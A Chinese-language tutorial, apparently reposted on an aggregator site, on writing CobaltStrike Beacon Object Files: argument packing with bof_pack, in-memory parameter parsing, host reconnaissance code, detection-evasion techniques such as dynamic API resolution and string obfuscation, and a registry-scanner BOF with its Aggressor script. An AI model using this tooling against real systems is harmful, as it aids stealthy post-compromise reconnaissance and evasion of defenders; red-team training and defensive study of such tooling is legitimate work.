news 2026/5/5 13:38:28

CobaltStrike BOF实战:手把手教你编写一个内存传参的信息收集工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CobaltStrike BOF实战:手把手教你编写一个内存传参的信息收集工具

CobaltStrike BOF开发实战:构建高效内存传参的信息收集工具

在红队行动和内网渗透测试中,无文件化执行已成为规避检测的关键策略。CobaltStrike的Beacon Object File(BOF)技术允许我们直接在内存中加载和执行自定义功能模块,无需在目标磁盘留下任何痕迹。本文将深入探讨如何开发一个能够接收复杂参数、执行特定信息收集任务并格式化输出的BOF工具,解决实际渗透中常见的参数传递难题。

1. BOF开发环境与核心机制解析

1.1 现代化BOF开发环境搭建

推荐使用集成了最新Windows API封装的开发模板,大幅降低开发复杂度:

# 克隆优化后的BOF开发模板 git clone https://github.com/evilashz/Visual-Studio-BOF-template

该模板具有以下优势:

  • 模块化头文件组织:按DLL分类的API定义(如kernel32.hadvapi32.h
  • 完整的API前缀处理:自动添加KERNEL32$等前缀
  • 调试支持:包含本地测试用的main函数实现

关键文件说明:

文件用途重要性
beacon.hBeacon交互API定义★★★★★
bofdefs.hWindows API宏定义★★★★☆
debug.h调试输出工具★★★☆☆

1.2 BOF执行模型深度剖析

BOF运行在特殊的受限环境中:

  • 无标准库支持:不能直接使用printf等传统C函数
  • 受限API调用:必须通过Beacon提供的封装函数
  • 独立内存空间:每个BOF运行在隔离的堆栈中

典型执行流程:

  1. Beacon将BOF.obj文件加载到内存
  2. 解析导出符号并验证兼容性
  3. 初始化临时执行环境
  4. 调用go入口函数
  5. 清理执行现场

内存管理要点

// 错误做法:大数组导致堆栈溢出 WCHAR output[4096]; // 正确做法:使用堆内存 WCHAR *output = (WCHAR *)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 4096 * sizeof(WCHAR) );

2. 高级参数传递技术实战

2.1 传统参数传递的局限性

原始inline-execute命令存在以下问题:

  • 无法直接传递字符串参数
  • 缺乏结构化数据支持
  • 参数长度受限

2.2 使用bof_pack实现复杂参数传递

通过Aggressor Script的打包函数实现灵活传参:

// CNA脚本示例 sub custom_bof { $bof = "info_collect.obj"; $args = bof_pack( "zz", // 格式字符串 "admin", // 第一个字符串参数 "P@ssw0rd123" // 第二个字符串参数 ); beacon_inline_execute($1, $bof, "go", $args); }

格式字符串说明:

符号数据类型字节大小
bbyte1
z字符串变长
iint324
wint648

2.3 内存中的参数解析技术

在BOF中正确解析打包参数:

void go(char* buff, int len) { datap parser; char *arg1, *arg2; // 初始化解析器 BeaconDataParse(&parser, buff, len); // 提取参数 arg1 = BeaconDataExtract(&parser, NULL); arg2 = BeaconDataExtract(&parser, NULL); // 使用参数执行操作 BeaconPrintf(CALLBACK_OUTPUT, "User: %s", arg1); BeaconPrintf(CALLBACK_OUTPUT, "Hash: %s", arg2); }

参数解析常见问题排查

  1. 检查格式字符串与参数类型匹配
  2. 验证缓冲区长度与实际数据一致
  3. 确保使用正确的字节序

3. 实战:内存驻留型信息收集工具开发

3.1 设计架构与功能规划

典型信息收集BOF应包含:

  • 目标系统信息采集(OS版本、补丁等)
  • 网络配置枚举(接口、路由、ARP表)
  • 进程与服务分析(带签名的运行中进程)
  • 用户与权限检查(特权组、登录会话)

数据结构设计示例:

typedef struct _TARGET_INFO { DWORD pid; WCHAR username[64]; WCHAR hostname[MAX_COMPUTERNAME_LENGTH + 1]; DWORD is_admin; } TARGET_INFO;

3.2 关键API的安全调用方法

通过BOF安全调用Windows API:

// 获取系统版本信息示例 void get_os_info() { OSVERSIONINFOEX osInfo = {0}; osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if(KERNEL32$GetVersionEx((OSVERSIONINFO*)&osInfo)) { BeaconPrintf(CALLBACK_OUTPUT, "OS Version: %d.%d Build %d", osInfo.dwMajorVersion, osInfo.dwMinorVersion, osInfo.dwBuildNumber ); } }

API调用最佳实践

  1. 总是检查API返回值
  2. 使用安全的缓冲区大小
  3. 及时释放分配的资源
  4. 最小化API调用痕迹

3.3 输出格式化与结果返回

高级结果格式化技术:

void format_output(TARGET_INFO *info) { formatp formatter; char *output; BeaconFormatAlloc(&formatter, 1024); BeaconFormatAppend(&formatter, "Scan Result:\n" " PID: %d\n" " User: %s\n" " Host: %s\n" " Admin: %s", info->pid, info->username, info->hostname, info->is_admin ? "Yes" : "No" ); output = BeaconFormatToString(&formatter); BeaconPrintf(CALLBACK_OUTPUT, output); BeaconFormatFree(&formatter); }

输出优化技巧:

  • 使用BeaconFormat系列函数构建复杂输出
  • 对敏感信息进行模糊处理
  • 支持多种输出格式(CSV、JSON等)

4. 高级技巧与实战优化

4.1 内存操作性能优化

对比不同内存分配策略:

方法优点缺点适用场景
局部变量速度快大小受限小数据块
HeapAlloc灵活可控需手动管理大数据块
Beacon API集成度高功能有限中间数据

性能敏感代码示例

// 高效内存拷贝实现 void fast_memcpy(void *dst, const void *src, size_t len) { __movsb(dst, src, len); }

4.2 错误处理与稳定性增强

健壮的错误处理框架:

#define CHECK_API(api, msg) \ if(!api) { \ BeaconPrintf(CALLBACK_ERROR, \ "API %s not found: %s", #api, msg); \ return FALSE; \ } BOOL safe_operation() { CHECK_API(KERNEL32$GetSystemInfo, "Critical API"); // 实际操作代码 return TRUE; }

4.3 对抗检测技术集成

常见规避检测技术实现:

// API调用混淆示例 typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); void stealthy_query() { pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)BeaconGetFunctionAddress( "ntdll.dll", "NtQuerySystemInformation"); // 使用函数指针调用 if(NtQuerySystemInformation) { /* ... */ } }

规避检测策略

  1. 动态解析API地址
  2. 使用非常用API替代常见功能
  3. 引入随机延迟
  4. 混淆字符串和算法

5. 实战案例:注册表键值扫描器

完整实现一个可接收参数的注册表扫描BOF:

void go(char *args, int len) { datap parser; WCHAR *regPath, *valueName; HKEY hKey = NULL; DWORD type, size; BYTE *data = NULL; // 解析参数 BeaconDataParse(&parser, args, len); regPath = (WCHAR*)BeaconDataExtract(&parser, NULL); valueName = (WCHAR*)BeaconDataExtract(&parser, NULL); // 打开注册表键 if(ADVAPI32$RegOpenKeyExW( HKEY_LOCAL_MACHINE, regPath, 0, KEY_READ, &hKey) == ERROR_SUCCESS) { // 查询值大小 ADVAPI32$RegQueryValueExW( hKey, valueName, NULL, &type, NULL, &size); // 分配缓冲区并读取值 data = HeapAlloc(GetProcessHeap(), 0, size); if(ADVAPI32$RegQueryValueExW( hKey, valueName, NULL, &type, data, &size) == ERROR_SUCCESS) { // 格式化输出结果 format_output_registry(type, data, size); } HeapFree(GetProcessHeap(), 0, data); ADVAPI32$RegCloseKey(hKey); } }

配套的CNA调用脚本:

alias regscan { $bof = "regscan.obj"; $path = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; $value = "ProductName"; $args = bof_pack("zz", $path, $value); foreach $bid ($1) { beacon_inline_execute($bid, $bof, "go", $args); } }

在开发这类工具时,我发现最常遇到的问题是大内存分配导致的稳定性问题。通过将大块操作分解为多个小请求,并加入适当的错误恢复机制,可以显著提高BOF在复杂环境下的可靠性。另一个实用技巧是使用BeaconAddValueBeaconGetValue函数在多次BOF调用间保持状态,这对于需要分阶段执行的复杂信息收集任务特别有用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/5 13:34:27

告别 Vibe Coding:Claude Code + Superpowers = 顶级架构师开发流程

👉 这是一个或许对你有用的社群🐱 一对一交流/面试小册/简历优化/求职解惑,欢迎加入「芋道快速开发平台」知识星球。下面是星球提供的部分资料: 《项目实战(视频)》:从书中学,往事上…

作者头像 李华
网站建设 2026/5/5 13:23:27

创业团队如何利用 Taotoken 统一管理多模型 API 密钥与成本

创业团队如何利用 Taotoken 统一管理多模型 API 密钥与成本 1. 多模型统一接入的团队协作痛点 小型创业团队在接入多个大模型服务时,常面临密钥管理混乱的问题。每个开发者可能单独申请不同厂商的 API Key,导致密钥分散在个人邮箱或聊天记录中。当成员…

作者头像 李华
网站建设 2026/5/5 13:14:49

独立开发者利用 Taotoken 模型广场为不同项目灵活选型

独立开发者利用 Taotoken 模型广场为不同项目灵活选型 1. 多项目开发中的模型选型挑战 独立开发者往往同时维护多个不同类型的项目,每个项目对模型的需求可能截然不同。一个面向创意写作的工具可能需要强大的文本生成能力,而一个数据分析助手则更依赖结…

作者头像 李华